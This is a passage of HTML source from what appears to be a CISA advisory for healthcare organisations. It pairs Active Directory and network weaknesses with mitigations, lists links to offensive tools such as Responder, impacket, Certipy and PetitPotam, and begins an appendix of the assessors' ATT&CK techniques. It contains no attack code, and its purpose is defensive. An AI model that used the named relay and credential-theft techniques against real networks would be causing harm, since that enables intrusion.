  6810. &lt;li&gt;&lt;strong&gt;Use phishing-resistant multi-factor authentication (MFA) for all administrative access&lt;/strong&gt;, including domain administrative access [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals"&gt;CPG 2.H&lt;/a&gt;]. If an organization that uses mobile push-notification-based MFA is unable to implement phishing-resistant MFA, use number matching to mitigate MFA fatigue. For more information, see CISA fact sheets on &lt;a href="https://www.cisa.gov/sites/default/files/publications/fact-sheet-implementing-phishing-resistant-mfa-508c.pdf" title="mplementing Phishing-Resistant MFA"&gt;Implementing Phishing-Resistant MFA&lt;/a&gt;&amp;nbsp;and &lt;a href="https://www.cisa.gov/sites/default/files/publications/fact-sheet-implement-number-matching-in-mfa-applications-508c.pdf" title="Implementing Number Matching in MFA Applications"&gt;Implementing Number Matching in MFA Applications&lt;/a&gt;.&lt;/li&gt;
  6811. &lt;/ul&gt;
  6812. &lt;/td&gt;
  6813. &lt;/tr&gt;
  6814. &lt;tr&gt;
  6815. &lt;td&gt;
  6816. &lt;p&gt;Misconfigured ADCS Certificate Templates&lt;/p&gt;
  6817. &lt;/td&gt;
  6818. &lt;td&gt;
  6819. &lt;ul&gt;
  6820. &lt;li&gt;&lt;strong&gt;Restrict enrollment rights in templates to only those users or groups that require it&lt;/strong&gt;. Remove the &lt;code&gt;Enrollee Supplies Subject&lt;/code&gt; flag from templates if it is not necessary or enforce manager approval if required. Consider removing &lt;code&gt;Write Owner, Write DACL&lt;/code&gt; and &lt;code&gt;Write Property&lt;/code&gt; permissions from low-privilege groups, such as &lt;code&gt;Authenticated Users&lt;/code&gt; where those permissions are not needed.&lt;/li&gt;
  6821. &lt;/ul&gt;
  6822. &lt;/td&gt;
  6823. &lt;/tr&gt;
  6824. &lt;tr&gt;
  6825. &lt;td&gt;
  6826. &lt;p&gt;Unnecessary Network Services Enabled&lt;/p&gt;
  6827. &lt;/td&gt;
  6828. &lt;td&gt;
  6829. &lt;ul&gt;
  6830. &lt;li&gt;&lt;strong&gt;Ensure that only ports, protocols, and services with validated business needs are running on each system&lt;/strong&gt;. Disable deprecated protocols (including NetBIOS, LLMNR, and mDNS) on the network that are not strictly necessary for business functions, or limit the systems and services that use the protocol, where possible [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals"&gt;CPG 2.W&lt;/a&gt;].&lt;/li&gt;
  6831. &lt;li&gt;&lt;strong&gt;Disable the &lt;/strong&gt;&lt;code&gt;&lt;strong&gt;WebClient&lt;/strong&gt;&lt;/code&gt;&lt;strong&gt; and Spooler services&lt;/strong&gt; where possible to minimize risk of coerced authentication.&lt;/li&gt;
  6832. &lt;li&gt;&lt;strong&gt;Disable ADCS web-enrollment services&lt;/strong&gt;. If this service cannot be disabled, disable NTLM authentication to prevent malicious actors from performing NTLM relay attacks or abusing the Spooler and &lt;code&gt;WebClient&lt;/code&gt; services to coerce and relay authentication to the web-enrollment service.&lt;/li&gt;
  6833. &lt;/ul&gt;
  6834. &lt;/td&gt;
  6835. &lt;/tr&gt;
  6836. &lt;tr&gt;
  6837. &lt;td&gt;
  6838. &lt;p&gt;Elevated Service Account Privileges&lt;/p&gt;
  6839. &lt;/td&gt;
  6840. &lt;td&gt;
  6841. &lt;ul&gt;
  6842. &lt;li&gt;&lt;strong&gt;Run daemon applications using a non-Administrator account&lt;/strong&gt; when appropriate.&lt;/li&gt;
  6843. &lt;li&gt;&lt;strong&gt;Configure Service accounts with only the permissions necessary for the services they operate&lt;/strong&gt;.&lt;/li&gt;
  6844. &lt;li&gt;To mitigate Kerberoasting attacks, &lt;strong&gt;use AES or stronger encryption&lt;/strong&gt; instead of RC4 for Kerberos hashes [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals"&gt;CPG 2.K&lt;/a&gt;]. RC4 is considered weak encryption.&lt;/li&gt;
  6845. &lt;/ul&gt;
  6846. &lt;/td&gt;
  6847. &lt;/tr&gt;
  6848. &lt;tr&gt;
  6849. &lt;td&gt;
  6850. &lt;p&gt;SMB Signing Not Enabled&lt;/p&gt;
  6851. &lt;/td&gt;
  6852. &lt;td&gt;
  6853. &lt;ul&gt;
  6854. &lt;li&gt;&lt;strong&gt;Require SMB signing for both SMB client and server on all systems&lt;/strong&gt; to prevent certain adversary-in-the-middle and pass-the-hash attacks. See Microsoft’s &lt;a href="https://learn.microsoft.com/en-us/troubleshoot/windows-server/networking/overview-server-message-block-signing" title="Overview of Server Message Block signing"&gt;Overview of Server Message Block signing&lt;/a&gt; for more information.&lt;/li&gt;
  6855. &lt;/ul&gt;
  6856. &lt;/td&gt;
  6857. &lt;/tr&gt;
  6858. &lt;tr&gt;
  6859. &lt;td&gt;
  6860. &lt;p&gt;Insecure Default Configuration: Default Credentials&lt;/p&gt;
  6861. &lt;/td&gt;
  6862. &lt;td&gt;
  6863. &lt;ul&gt;
  6864. &lt;li&gt;&lt;strong&gt;Verify the implementation of appropriate hardening measures, and change, remove, or deactivate all default credentials&lt;/strong&gt; [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals"&gt;CPG 2.A&lt;/a&gt;].&lt;/li&gt;
  6865. &lt;li&gt;Before deploying any new devices in a networked environment, &lt;strong&gt;change all default passwords for applications, operating systems, routers, firewalls, wireless access points, and other systems&lt;/strong&gt; to have values consistent with administration-level accounts [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals"&gt;CPG 2.A&lt;/a&gt;].&lt;/li&gt;
  6866. &lt;/ul&gt;
  6867. &lt;/td&gt;
  6868. &lt;/tr&gt;
  6869. &lt;tr&gt;
  6870. &lt;td&gt;
  6871. &lt;p&gt;Poor Credential Hygiene: Password Reuse for Administrator and User Accounts&lt;/p&gt;
  6872. &lt;/td&gt;
  6873. &lt;td&gt;
  6874. &lt;ul&gt;
  6875. &lt;li&gt;&lt;strong&gt;Discontinue reuse or sharing of administrative credentials&lt;/strong&gt; among user/administrative accounts [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals"&gt;CPG 2.C&lt;/a&gt;].&lt;/li&gt;
  6876. &lt;li&gt;&lt;strong&gt;Use unique credentials across workstations&lt;/strong&gt;, when possible,&lt;strong&gt; &lt;/strong&gt;in accordance with applicable federal standards, industry best practices, and/or agency-defined requirements.&lt;/li&gt;
  6877. &lt;li&gt;&lt;strong&gt;Train users, especially privileged users, against password reuse&lt;/strong&gt; [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals"&gt;CPG 2.I&lt;/a&gt;].&lt;/li&gt;
  6878. &lt;/ul&gt;
  6879. &lt;/td&gt;
  6880. &lt;/tr&gt;
  6881. &lt;tr&gt;
  6882. &lt;td&gt;
  6883. &lt;p&gt;Poor Credential Hygiene: Password Reuse for Administrator Accounts&lt;/p&gt;
  6884. &lt;/td&gt;
  6885. &lt;td&gt;
  6886. &lt;ul&gt;
  6887. &lt;li&gt;&lt;strong&gt;Discontinue reuse or sharing of administrative credentials among systems &lt;/strong&gt;[&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals"&gt;CPG 2.C&lt;/a&gt;]. When possible, use unique credentials across all workstations in accordance with applicable federal standards, industry best practices, and/or agency-defined requirements.&lt;/li&gt;
  6888. &lt;li&gt;&lt;strong&gt;Implement a security awareness program&lt;/strong&gt; that focuses on the methods commonly used in intrusions that can be blocked through individual action [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals"&gt;CPG 2.I&lt;/a&gt;].&lt;/li&gt;
  6889. &lt;li&gt;&lt;strong&gt;Implement Local Administrator Password Solution (LAPS)&lt;/strong&gt; where possible if your OS is older than Windows Server 2019 and Windows 10 as these versions do not have LAPS built in. &lt;strong&gt;Note:&lt;/strong&gt; The authoring organizations recommend organizations upgrade to Windows Server 2019 and Windows 10 or greater.&lt;/li&gt;
  6890. &lt;/ul&gt;
  6891. &lt;/td&gt;
  6892. &lt;/tr&gt;
  6893. &lt;tr&gt;
  6894. &lt;td&gt;
  6895. &lt;p&gt;Poor Patch Management: Out-of-Date Software&lt;/p&gt;
  6896. &lt;/td&gt;
  6897. &lt;td&gt;
  6898. &lt;ul&gt;
  6899. &lt;li&gt;&lt;strong&gt;Enforce consistent patch management&lt;/strong&gt; across all systems and hosts within the network environment [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals"&gt;CPG 1.E&lt;/a&gt;].&lt;/li&gt;
  6900. &lt;li&gt;Where patching is not possible due to limitations, &lt;strong&gt;implement network segregation controls&lt;/strong&gt; [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals"&gt;CPG 2.F&lt;/a&gt;] to limit exposure of the vulnerable system or host.&lt;/li&gt;
  6901. &lt;li&gt;&lt;strong&gt;Consider deploying automated patch management tools and software update tools&lt;/strong&gt; for operating system and software/applications on all systems for which such tools are available and safe.&lt;/li&gt;
  6902. &lt;/ul&gt;
  6903. &lt;/td&gt;
  6904. &lt;/tr&gt;
  6905. &lt;tr&gt;
  6906. &lt;td&gt;
  6907. &lt;p&gt;Poor Patch Management: Unsupported OS or Application&lt;/p&gt;
  6908. &lt;/td&gt;
  6909. &lt;td&gt;
  6910. &lt;ul&gt;
  6911. &lt;li&gt;&lt;strong&gt;Evaluate the use of unsupported hardware and software and discontinue&lt;/strong&gt; where possible. If discontinuing the use of unsupported hardware and software is not possible, implement additional network protections to mitigate the risk.&lt;/li&gt;
  6912. &lt;/ul&gt;
  6913. &lt;/td&gt;
  6914. &lt;/tr&gt;
  6915. &lt;tr&gt;
  6916. &lt;td&gt;
  6917. &lt;p&gt;Use of Weak Authentication Measures&lt;/p&gt;
  6918. &lt;/td&gt;
  6919. &lt;td&gt;
  6920. &lt;ul&gt;
  6921. &lt;li&gt;&lt;strong&gt;Require phishing-resistant MFA for all user accounts that have access to sensitive data or systems&lt;/strong&gt;. If MFA is not possible, it is recommended to, at a minimum, configure a more secure password policy by aligning with guidelines put forth by trusted entities such as NIST [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals"&gt;CPG 2.H&lt;/a&gt;].&lt;/li&gt;
  6922. &lt;/ul&gt;
  6923. &lt;/td&gt;
  6924. &lt;/tr&gt;
  6925. &lt;tr&gt;
  6926. &lt;td&gt;
  6927. &lt;p&gt;PII Disclosure&lt;/p&gt;
  6928. &lt;/td&gt;
  6929. &lt;td&gt;
  6930. &lt;ul&gt;
  6931. &lt;li&gt;&lt;strong&gt;Implement a process to review files and systems for insecure handling of PII &lt;/strong&gt;[&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals"&gt;CPG 2.L&lt;/a&gt;].&lt;strong&gt; &lt;/strong&gt;Properly secure or remove the information. Conduct periodic scans of server machines using automated tools to determine whether sensitive data (e.g., personally identifiable information, health, credit card, or classified information) is present on the system in cleartext.&lt;/li&gt;
  6932. &lt;li&gt;&lt;strong&gt;Encrypt PII and other sensitive data&lt;/strong&gt;, and train users who handle sensitive data to utilize best practices for encrypting data and storing it securely. If sensitive data must be stored on shares or other locations, restrict access to these locations as much as possible through access controls and network segmentation [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals"&gt;CPG 2.F, 2.K, 2.L&lt;/a&gt;].&lt;/li&gt;
  6933. &lt;/ul&gt;
  6934. &lt;/td&gt;
  6935. &lt;/tr&gt;
  6936. &lt;tr&gt;
  6937. &lt;td&gt;
  6938. &lt;p&gt;Hosts with Unconstrained Delegation Enabled Unnecessarily&lt;/p&gt;
  6939. &lt;/td&gt;
  6940. &lt;td&gt;
  6941. &lt;ul&gt;
  6942. &lt;li&gt;&lt;strong&gt;Remove &lt;/strong&gt;&lt;code&gt;&lt;strong&gt;Unconstrained Delegation&lt;/strong&gt;&lt;/code&gt;&lt;strong&gt; from all servers&lt;/strong&gt;. If &lt;code&gt;Unconstrained Delegation&lt;/code&gt; functionality is required, upgrade operating systems and applications to leverage other approaches (e.g., configure &lt;code&gt;Constrained Delegation&lt;/code&gt;, enable the &lt;code&gt;Account is sensitive and cannot be delegated&lt;/code&gt; option) or explore whether systems can be retired or further isolated from the enterprise. CISA recommends Windows Server 2019 or greater.&lt;/li&gt;
  6943. &lt;/ul&gt;
  6944. &lt;/td&gt;
  6945. &lt;/tr&gt;
  6946. &lt;tr&gt;
  6947. &lt;td&gt;
  6948. &lt;p&gt;Cleartext Password Disclosure&lt;/p&gt;
  6949. &lt;/td&gt;
  6950. &lt;td&gt;
  6951. &lt;ul&gt;
  6952. &lt;li&gt;&lt;strong&gt;Implement a review process for files and systems to look for cleartext account credentials&lt;/strong&gt;. When credentials are found, remove or change them to maintain security [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals"&gt;CPG 2.L&lt;/a&gt;].&lt;/li&gt;
  6953. &lt;li&gt;&lt;strong&gt;Conduct periodic scans of server machines using automated tools to determine whether sensitive data&lt;/strong&gt; (e.g., personally identifiable information, health, credit card, or classified information) is present on the system in cleartext. Consider implementing a secure password manager solution in cases where passwords need to be stored [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals"&gt;CPG 2.L&lt;/a&gt;].&lt;/li&gt;
  6954. &lt;/ul&gt;
  6955. &lt;/td&gt;
  6956. &lt;/tr&gt;
  6957. &lt;tr&gt;
  6958. &lt;td&gt;
  6959. &lt;p&gt;Insecure File Shares&lt;/p&gt;
  6960. &lt;/td&gt;
  6961. &lt;td&gt;
  6962. &lt;ul&gt;
  6963. &lt;li&gt;&lt;strong&gt;Restrict access to file shares containing sensitive data&lt;/strong&gt; to only certain authenticated and authorized users [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals"&gt;CPG 2.L&lt;/a&gt;].&lt;/li&gt;
  6964. &lt;/ul&gt;
  6965. &lt;/td&gt;
  6966. &lt;/tr&gt;
  6967. &lt;/tbody&gt;
  6968. &lt;/table&gt;
  6969. &lt;p&gt;Additionally, CISA recommends that HPH sector organizations implement the following strategies to mitigate cyber threats:&lt;/p&gt;
  6970. &lt;ul&gt;
  6971. &lt;li&gt;&lt;strong&gt;Mitigation Strategy #1 Asset Management and Security:&lt;/strong&gt;
  6972. &lt;ul&gt;
  6973. &lt;li&gt;CISA recommends that HPH sector organizations implement and maintain an asset management policy to reduce the risk of exposing vulnerabilities, devices, or services that could be exploited by threat actors to gain unauthorized access, steal sensitive data, or disrupt critical services. The focus areas for this mitigation strategy include asset management and asset security, addressing asset inventory, procurement, decommissioning, and network segmentation as they relate to hardware, software, and data assets.&lt;/li&gt;
  6974. &lt;/ul&gt;
  6975. &lt;/li&gt;
  6976. &lt;li&gt;&lt;strong&gt;Mitigation Strategy #2 Identity Management and Device Security:&lt;/strong&gt;
  6977. &lt;ul&gt;
  6978. &lt;li&gt;CISA recommends entities secure their devices and digital accounts and manage their online access to protect sensitive data and PII/PHI from compromise. The focus areas for this mitigation strategy include email security, phising prevention, access management, password policies, data protection and loss prevention, and device logs and monitoring solutions.&lt;/li&gt;
  6979. &lt;/ul&gt;
  6980. &lt;/li&gt;
  6981. &lt;li&gt;&lt;strong&gt;Mitigation Strategy #3 Vulnerability, Patch, and Configuration Management:&lt;/strong&gt;
  6982. &lt;ul&gt;
  6983. &lt;li&gt;CISA recommends entities mitigate known vulnerabilities and establish secure configuration baselines to reduce the likelihood of threat actors exploiting known vulnerabilities to breach organizational networks. The focus areas for this mitigation strategy include vulnerability and patch Management, and configuration and change management.&lt;/li&gt;
  6984. &lt;/ul&gt;
  6985. &lt;/li&gt;
  6986. &lt;/ul&gt;
  6987. &lt;p&gt;For more information on these mitigations strategies, see CISA’s &lt;a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/healthcare-and-public-health-sector" title="Healthcare and Public Health Sector"&gt;Healthcare and Public Health Sector&lt;/a&gt; webpage.&lt;/p&gt;
  6988. &lt;h4&gt;&lt;strong&gt;Software Manufacturers&lt;/strong&gt;&lt;/h4&gt;
  6989. &lt;p&gt;The above mitigations apply to HPH sector and other critical infrastructure organizations with on-premises or hybrid environments. Recognizing that insecure software is the root cause of the majority of these flaws, and that the responsibility should not be on the end user, CISA urges software manufacturers to implement the following to reduce the prevalence of misconfigurations, weak passwords, and other weaknesses identified and exploited through the assessment team:&lt;/p&gt;
  6990. &lt;ul&gt;
  6991. &lt;li&gt;&lt;strong&gt;Embed security into product architecture throughout the&lt;/strong&gt; &lt;strong&gt;entire&lt;/strong&gt; software development lifecycle (SDLC).&lt;/li&gt;
  6992. &lt;li&gt;&lt;strong&gt;Eliminate default passwords&lt;/strong&gt;. Do not provide software with default passwords. To eliminate default passwords, require administrators set a “strong” password [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals"&gt;CPG 2.B&lt;/a&gt;] during installation and configuration.&lt;/li&gt;
  6993. &lt;li&gt;&lt;strong&gt;Create secure configuration templates&lt;/strong&gt;. Provide configuration templates with certain safe settings based on an organization’s risk appetite (e.g., low, medium, and high security templates). Support these templates with hardening guides based on the risks the manufacturer has identified. The default configuration should be a secure one, and organizations should need to opt in if they desire a less secure configuration.&lt;/li&gt;
  6994. &lt;li&gt;&lt;strong&gt;Design products so that the compromise of a single security control does not result in compromise of the entire system&lt;/strong&gt;. For example, narrowly provision user privileges by default and employ ACLs to reduce the impact of a compromised account. This will make it more difficult for a malicious cyber actor to escalate privileges and move laterally.&lt;/li&gt;
  6995. &lt;li&gt;&lt;strong&gt;Mandate MFA, &lt;/strong&gt;&lt;a href="https://www.cisa.gov/sites/default/files/publications/fact-sheet-implementing-phishing-resistant-mfa-508c.pdf" title="Implementing Phishing-Resistant MFA"&gt;&lt;strong&gt;ideally phishing-resistant MFA&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;, for privileged users&lt;/strong&gt; and make MFA a default, rather than opt-in, feature.&lt;/li&gt;
  6996. &lt;/ul&gt;
  6997. &lt;p&gt;These mitigations align with tactics provided in the joint guide &lt;a href="https://www.cisa.gov/sites/default/files/2023-10/Shifting-the-Balance-of-Cybersecurity-Risk-Principles-and-Approaches-for-Secure-by-Design-Software.pdf" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software"&gt;Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software&lt;/a&gt;. CISA urges software manufacturers to take ownership of improving the security outcomes of their customers by applying these and other secure by design tactics. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing security software and logs, monitoring, and making routine updates.&lt;/p&gt;
  6998. &lt;p&gt;For more information on secure by design, see CISA’s &lt;a href="https://www.cisa.gov/securebydesign" title="Secure by Design"&gt;Secure by Design&lt;/a&gt; webpage. For more information on common misconfigurations and guidance on reducing their prevalence, see the joint advisory &lt;a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-278a" title="NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations"&gt;NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations&lt;/a&gt;.&lt;/p&gt;
  6999. &lt;h3&gt;&lt;strong&gt;VALIDATE SECURITY CONTROLS&lt;/strong&gt;&lt;/h3&gt;
  7000. &lt;p&gt;In addition to applying the listed mitigations, CISA recommends exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&amp;amp;CK for Enterprise framework in this advisory. CISA recommends testing your existing security controls inventory to assess how they perform against the ATT&amp;amp;CK techniques described in this advisory.&lt;/p&gt;
  7001. &lt;p&gt;To get started:&lt;/p&gt;
  7002. &lt;ol&gt;
  7003. &lt;li&gt;Select an ATT&amp;amp;CK technique described in this advisory (see Tables 7 – 16).&lt;/li&gt;
  7004. &lt;li&gt;Align your security technologies against the technique.&lt;/li&gt;
  7005. &lt;li&gt;Test your technologies against the technique.&lt;/li&gt;
  7006. &lt;li&gt;Analyze your detection and prevention technologies’ performance.&lt;/li&gt;
  7007. &lt;li&gt;Repeat the process for all security technologies to obtain a set of comprehensive performance data.&lt;/li&gt;
  7008. &lt;li&gt;Tune your security program, including people, processes, and technologies, based on the data generated by this process.&lt;/li&gt;
  7009. &lt;/ol&gt;
  7010. &lt;p&gt;CISA recommends continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&amp;amp;CK techniques identified in this advisory.&lt;/p&gt;
  7011. &lt;h3&gt;&lt;strong&gt;RESOURCES&lt;/strong&gt;&lt;/h3&gt;
  7012. &lt;ul&gt;
  7013. &lt;li&gt;For consolidated findings from the RVAs by Fiscal Year mapped to MITRE ATT&amp;amp;CK, see CISA’s &lt;a href="https://www.cisa.gov/resources-tools/resources/risk-and-vulnerability-assessments" title="Risk and Vulnerability Assessments"&gt;Risk and Vulnerability Assessments&lt;/a&gt; page.&lt;/li&gt;
  7014. &lt;li&gt;See joint CSA &lt;a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-278a" title="NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations"&gt;NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations&lt;/a&gt;&amp;nbsp;for information on the most common cybersecurity misconfigurations in large organizations and TTPs actors use to exploit these misconfigurations.&lt;/li&gt;
  7015. &lt;li&gt;See CISA’s &lt;a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/healthcare-and-public-health-sector" title="Healthcare and Public Health Sector"&gt;Healthcare and Public Health Sector&lt;/a&gt; webpage.&lt;/li&gt;
  7016. &lt;li&gt;See CISA’s &lt;a href="https://github.com/cisagov/RedEye/" title="cisagov / RedEye"&gt;RedEye tool on CISA’s GitHub page&lt;/a&gt;. RedEye is an interactive open-source analytic tool used to visualize and report red team command and control activities. See CISA’s &lt;a href="https://www.youtube.com/watch?v=b_ARIVl4BkQ" title="Redeye - Visualizing Penetration Testing Engagements"&gt;RedEye tool overview video&lt;/a&gt; for more information.&lt;/li&gt;
  7017. &lt;/ul&gt;
  7018. &lt;h3&gt;&lt;strong&gt;REFERENCES&lt;/strong&gt;&lt;/h3&gt;
  7019. &lt;p&gt;[1]&amp;nbsp;&amp;nbsp; &lt;a href="https://github.com/kgretzky/evilginx" title="kgretzky / evilginx"&gt;Github | kgretzky / evilginx&lt;/a&gt;&lt;br&gt;&lt;br&gt;
  7020. [2]&amp;nbsp;&amp;nbsp; &lt;a href="https://github.com/lgandx/Responder" title="lgandx / Responder"&gt;Github | lgandx / Responder&lt;/a&gt;&lt;br&gt;&lt;br&gt;
  7021. [3]&amp;nbsp;&amp;nbsp; &lt;a href="https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-lan-manager-authentication-level" title="Network security: LAN Manager authentication level"&gt;Network security LAN Manager authentication level - Windows Security | Microsoft Learn&lt;/a&gt;&lt;br&gt;&lt;br&gt;
  7022. [4]&amp;nbsp;&amp;nbsp; &lt;a href="https://learn.microsoft.com/en-us/windows/win32/ad/service-principal-names" title="Service principal names"&gt;Service principal names - Win32 apps | Microsoft Learn&lt;/a&gt;&lt;br&gt;&lt;br&gt;
  7023. [5]&amp;nbsp;&amp;nbsp; &lt;a href="https://github.com/fortra/impacket" title="fortra / impacket"&gt;Github | fortra / impacket&lt;/a&gt;&lt;br&gt;&lt;br&gt;
  7024. 6]&amp;nbsp;&amp;nbsp; &lt;a href="https://github.com/byt3bl33d3r/CrackMapExec" title="byt3bl33d3r / CrackMapExec"&gt;Github | byt3bl33d3r / CrackMapExec&lt;/a&gt;&lt;br&gt;&lt;br&gt;
  7025. [7]&amp;nbsp;&amp;nbsp; &lt;a href="https://github.com/ly4k/Certipy" title="ly4k / Certipy"&gt;Github | ly4k / Certipy&lt;/a&gt;&lt;br&gt;&lt;br&gt;
  7026. [8]&amp;nbsp;&amp;nbsp; &lt;a href="https://github.com/topotam/PetitPotam" title="topotam / PetitPotam"&gt;Github | topotam / PetitPotam&lt;/a&gt;&lt;br&gt;&lt;br&gt;
  7027. [9]&amp;nbsp;&amp;nbsp; &lt;a href="https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py" title="fortra / impacket / examples"&gt;Github | fortra / impacket / examples&lt;/a&gt;&lt;br&gt;&lt;br&gt;
  7028. [10] &lt;a href="https://github.com/login-securite/DonPAPI" title="login-securite / DonPAPI"&gt;Github | login-securite / DonPAPI&lt;/a&gt;&lt;br&gt;&lt;br&gt;
  7029. [11] &lt;a href="https://csrc.nist.gov/pubs/sp/800/63/b/upd2/final" title="Digital Identity Guidelines: Authentication and Lifecycle Management"&gt;SP 800-63B, Digital Identity Guidelines: Authentication and Lifecycle Management | CSRC (nist.gov)&lt;/a&gt;&lt;/p&gt;
  7030. &lt;h3&gt;&lt;strong&gt;APPENDIX: MITRE ATT&amp;amp;CK TACTICS AND TECHNIQUES&lt;/strong&gt;&lt;/h3&gt;
  7031. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  7032. &lt;caption&gt;&lt;em&gt;Table 7: CISA Team ATT&amp;amp;CK Techniques for Reconnaissance&lt;/em&gt;&lt;/caption&gt;
  7033. &lt;thead&gt;
  7034. &lt;tr&gt;
  7035. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;
  7036. &lt;p&gt;&lt;strong&gt;Reconnaissance&lt;/strong&gt;&lt;/p&gt;
  7037. &lt;/th&gt;
  7038. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  7039. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  7040. &lt;/tr&gt;
  7041. &lt;/thead&gt;
  7042. &lt;tbody&gt;
  7043. &lt;tr&gt;
  7044. &lt;th role="columnheader"&gt;
  7045. &lt;p&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/p&gt;
  7046. &lt;/th&gt;
  7047. &lt;th role="columnheader"&gt;
  7048. &lt;p&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/p&gt;
  7049. &lt;/th&gt;
  7050. &lt;th role="columnheader"&gt;
  7051. &lt;p&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/p&gt;
  7052. &lt;/th&gt;
  7053. &lt;/tr&gt;
  7054. &lt;tr&gt;
  7055. &lt;td&gt;
  7056. &lt;p&gt;Active Scanning: Scanning IP Blocks&lt;/p&gt;
  7057. &lt;/td&gt;
  7058. &lt;td&gt;
  7059. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1595/001/" title="Active Scanning: Scanning IP Blocks"&gt;T1595.001&lt;/a&gt;&lt;/p&gt;
  7060. &lt;/td&gt;
  7061. &lt;td&gt;
  7062. &lt;p&gt;The CISA team first mapped the network to identify open web ports.&lt;/p&gt;
  7063. &lt;/td&gt;
  7064. &lt;/tr&gt;
  7065. &lt;/tbody&gt;
  7066. &lt;/table&gt;
  7067. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  7068. &lt;caption&gt;&lt;em&gt;Table 8: CISA Team ATT&amp;amp;CK Techniques for Initial Access&lt;/em&gt;&lt;/caption&gt;
  7069. &lt;thead&gt;
  7070. &lt;tr&gt;
  7071. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;
  7072. &lt;p&gt;&lt;strong&gt;Initial Access&lt;/strong&gt;&lt;/p&gt;
  7073. &lt;/th&gt;
  7074. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  7075. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  7076. &lt;/tr&gt;
  7077. &lt;/thead&gt;
  7078. &lt;tbody&gt;
  7079. &lt;tr&gt;
  7080. &lt;td&gt;
  7081. &lt;p&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/p&gt;
  7082. &lt;/td&gt;
  7083. &lt;td&gt;
  7084. &lt;p&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/p&gt;
  7085. &lt;/td&gt;
  7086. &lt;td&gt;
  7087. &lt;p&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/p&gt;
  7088. &lt;/td&gt;
  7089. &lt;/tr&gt;
  7090. &lt;tr&gt;
  7091. &lt;td&gt;
  7092. &lt;p&gt;Valid Accounts: Default Accounts&lt;/p&gt;
  7093. &lt;/td&gt;
  7094. &lt;td&gt;
  7095. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1078/001/" title="Valid Accounts: Default Accounts"&gt;T1078.001&lt;/a&gt;&lt;/p&gt;
  7096. &lt;/td&gt;
  7097. &lt;td&gt;
  7098. &lt;p&gt;The CISA team did identify default credentials for multiple web interfaces during web application testing and used default printer credentials while penetration testing.&lt;/p&gt;
  7099. &lt;/td&gt;
  7100. &lt;/tr&gt;
  7101. &lt;tr&gt;
  7102. &lt;td&gt;
  7103. &lt;p&gt;External Remote Services&lt;/p&gt;
  7104. &lt;/td&gt;
  7105. &lt;td&gt;
